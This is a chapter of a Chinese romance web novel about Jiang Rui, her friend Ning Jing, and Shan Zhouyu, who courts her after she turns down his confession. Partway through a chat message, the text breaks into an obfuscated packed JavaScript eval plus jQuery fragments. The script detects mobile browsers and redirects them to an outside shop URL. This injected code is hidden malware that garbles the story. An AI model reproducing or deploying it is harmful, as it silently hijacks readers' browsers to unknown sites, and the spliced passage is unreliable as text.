“说说。”


    蒋芮硬着头皮坐在宁婧给她拉开的椅子上。


    说什么？


    说单舟渝给她告白后被她秒拒吗？


    之前是猜测所以不好说，现在是不知道该如何说出口，组织语言的功能在单舟渝这个人身上好像失效了。


    宁婧等不及她开口，直截了当地问：“我之前的瞎掰的那句话是真的？”


    “嗯。”蒋芮点头，这个字说出口后整个人都松了下来。


    尽管已经猜到，宁婧还是不由自主张大了嘴巴。


    “我去......”


    又想到两人之间颇有些奇怪的互动，吞了吞口水，又问：“单恋啊他是？”


    蒋芮想说他可能已经想开了，但这句话到嘴边又想起他刚刚那句掷地有声的‘我喜欢你’，好像还没有，硬生生吞了下去，默默点头。


    宁婧消化了一阵子后开口：“你怎么想？”


    “我都已经拒绝了，还怎么想，”蒋芮拿过一本菜单，翻了两页，“他这次找我是录播客，工作上的事情，都成年人了，他还是公众人物，拒绝了一次就已经够了。”


    单舟渝看起来也像是缓过来了的样子。


    也是，雨林不过堪堪一个月，又能记多久？


    蒋芮越琢磨越觉得自己当初的拒绝是对的。


    “是么？”


    宁婧不觉得他刚刚像是要放弃的样子，仔细观察蒋芮的面部神色，半晌摆了摆手，“反正你自己有数就行，有什么事发信息跟我说一声。”


    蒋芮点头，把菜单递给她。


    “看看吃点什么？”


    单舟渝打量着对两个人来说稍微有些大的包房，摘下口罩透气，“你点吧，我快饿死了。”


    “不喝酒了吧？”王哥语气里带着惋惜，“你是不是还想送人家回去来着？”


    单舟渝似笑非笑，“人家起码早我们一个钟进来，等我们吃完人家说不定走路都走一半了。”


    再者说了，雨林那段日子他算是摸明白了，对蒋芮不能逼也不能急，一旦让她感觉到越界能立马和他把关系划分的干干净净。


    既然不想要放弃那就只能温水煮青蛙。


    王哥立马眉开眼笑，给他飞了个吻，举起手机照例拍照，“我老婆就放心我跟你喝。”


    之前听不觉得有什么，现在怎么从里头听出了一丝炫耀的意味。


    “因为只有我会等你发完酒疯再把你送回嫂子那。”单舟渝冷冷戳破，在王哥反驳前摁铃让服务员进来点单。


    “那女生叫蒋芮啊？哪个芮？聪睿的睿？”王哥等服务员关上门后才出声，“这名字有够特别的，一般女孩子取名字不都是取三声吗？”


    单舟渝回：“草字头的芮。”


    把四个声调的rui都在心里默读了一次，最后觉得她爸妈还真会取名字，这两字组在一块和她气质莫名其妙很搭。


    读起来像是锐利的锐，看到名字后才知道是表示柔软的芮。


    蒋芮。


    单舟渝的思绪被送菜的服务员打断，瞥了眼从始至终都没亮起过的手机。


    ...


    宁婧早上的飞机，蒋芮眼睛都还没睁开她就已经整装待发了，朝她挥挥手。


    “那我走了，你这样子就别送我了。”


    昨晚聊了快一个通宵，宁婧后边还有几个团要带，临近年尾了，她打算混个资深向导当当，这样到手的钱也能多点，不至于每年过年都被人数落考了个好大学工作也不怎么样。


    蒋芮倒是没这种烦恼，爸妈在别的城市，家里的亲戚往来并不频繁，没有可以对她指指点点的机会。


    外头天是亮的，但见不到阳光，只剩下了厚重浓密的云层布满了整个城市。


    把宁婧送出门，家里重新安静下来，蒋芮感觉到了空前的迷茫。


    那她的计划呢？


    蒋芮抿了抿唇，把电脑打开，在搜索引擎上敲敲打打。


    ‘贺禹导演’


    映入眼帘的先是一连串的人物介绍，然后可下边是播放的纪录片。


    评分都很高，蒋芮点开最新的一部，是关于少数民族美食文化的，她不太了解这方面，但看完觉得他们真的挺厉害的。


    画面、文本、该有的思想深度都齐全，就连其中插入的广告都不会让人觉得反感和突兀。


    联系人那一列里边躺着贺导的联系方式，在上周B组彻底收工后主动加上的她，但期间两人的聊天记录只有互发的两个握手表情。


    离开南美前贺导再次口头发出了邀请，让她回去慢慢考虑，至少在片子剪完之前他们不会启动新计划。


    宁婧在这几天有一种同伴在身边的踏实感，但她一走，踏实感也消失了。


    她从来没想过可以走这个方向，纪录片和自己发视频还有主要是偏娱乐性质的纪录片综艺不一样，专业性太高了，她的位置和资历也注定在团队里不会有太大的话语权。


    她怕最后出来的和自己想的完全不一样。


    再想想吧。


    腿伤了最开始前半个月腿不能剧烈运动，连健身房都没法去，蒋芮每天睁眼醒来先是收到单舟渝的信息然后一点点看完了贺禹的所有纪录片。


    蒋芮从一开始咬文嚼字官方地回复到现在眼睛还没睁开先甩了个‘1’过去。


    这几天点开单舟渝聊天框次数几乎是倍增。


    单舟渝聊天的度好像又回到了雨林刚认识的时候，度把握得刚刚好，一切都不过界。


    一天问两三个关于雨林的问题，往外延伸一两个话题，但也浅尝辄止，三四句话就结束了整个对话。


    蒋芮刚开始还想着他是故意找话说，但他挖掘问题和经历的深度随着聊天时长越来越深，这个想法就跟泡泡一样灭掉了。


    看起来真的是为了工作。


    ‘那我等你’


    等什么？


    刚刚还半眯着的眼睛全部都睁开了，锁定今天的第一条信息。


    ‘蒋导，你上次说的我还是不太能明白，我现在在书店买些参考书，你有空过来一趟吗’


    她的1才发出去下一句就来了。


    ‘不方便给我发一份参考书目我自己买也可以’


    这个1显得她像是在答应第一个请求。


    蒋芮：“......”


    她脚上还打着石膏呢。


    手机又震动了一下。


    对面发来了一个书店的地址。


    他们第二次见面的地方。


    ‘慢点蹦，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260174|196712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到了喊我出去搀你’


    想拒绝都来不及了。


    蒋芮认命了，摁住语音键，边蹦边说：“那你等我吧。”


    声音一听就是刚睡醒，还带着鼻音和沙哑。


    该在单舟渝面前丢过的脸也丢过了，不该丢的也丢过了，这点形象蒋芮已经可以完全不要了。


    更何况同吃同住那一个月他也不是没听过。


    他含着泡沫说话的样子她也见过。


    蒋芮的声音透过电流在耳机里响起，像是回到了隔着帘子睡一间屋的日子。


    从手机里传出的声音和亲耳听到的还是会有点差别。


    喉结滚动，悬停在屏幕上面的指尖不自觉往下摁，耳机里再次响起短短两秒的语音。


    单舟渝忽然觉得书店里的暖气开太大了让嘴巴有点干。


    找了个没人的书架靠着，低着头翻阅这几天的聊天记录，笑意慢慢爬上眉眼。


    温水煮青蛙这招对蒋芮有奇效。


    至少对他的态度不再是像表白后的那几天，他一动没动，只是眼睛看过去一眼蒋芮就已经往后退了好几步。


    想做节目是真的，用来钓蒋芮也是真的。


    ‘到了，地下车库’


    接着是一张图片。


    单舟渝站直，把口罩勾了勾，露出一小段鼻梁，大步往外走。


    工作日的工作时间，人流量没有平时大，单舟渝刚出电梯没走几步就看见人。


    蒋芮和拐杖靠在墙上，完好的那只脚用鞋尖在地上碾来碾去。


    “蒋导。”


    蒋芮脚下的动作停下，抬起头和他对视后微微颔首，没喊他。


    单舟渝几个大跨步后干脆小跑着到她侧边站着，勾过她的拐杖，询问：“要不先放我车上？”


    说完指着斜前方不远处的SUV。


    这么巧？


    蒋芮跟着他的手指望向那辆车。


    没纠结几秒就点头，她真的不喜欢拐杖，如果不是蹦着走太长时间可能会摔倒她都不会把这东西从医院带回来。


    “还有外套，里边很热。”单舟渝得到她的允许后没离开，接着指了下她身上的大衣。


    他今天穿了件绿白交织的毛衣，柔软贴在他身上，看着暖呼呼的。


    很好看，如果她里边穿的不是绿白的卫衣的话她会更加欣赏。


    不是一个墨绿一个浅绿那种绿，是完全一模一样的绿，一模一样的白。


    之前玩游戏要积分的时候怎么就不那么心有灵犀呢？


    蒋芮把大衣的扣子扣紧，扯了扯嘴角，“我畏寒。”


    单舟渝扫过她的脸，半晌后一声闷笑从口罩下传来。


    干什么了又戳他笑点了？


    蒋芮后悔刚刚轻而易举就把拐杖给他拐过去了，不然现在还能有东西戳他。


    单舟渝笑了两三声后转身，利落地把拐杖扔进后座，又大步走到她面前。


    柔软的毛衣带着那双手再次横在她面前。


    停车场的灯光是死白的，把整个停车场都照的无比清晰。


    包括蒋芮面前那只青筋微微凸起的手。


    他好像又白了回去。


    手晃了晃，面前的人到了身侧。


    “走吧。”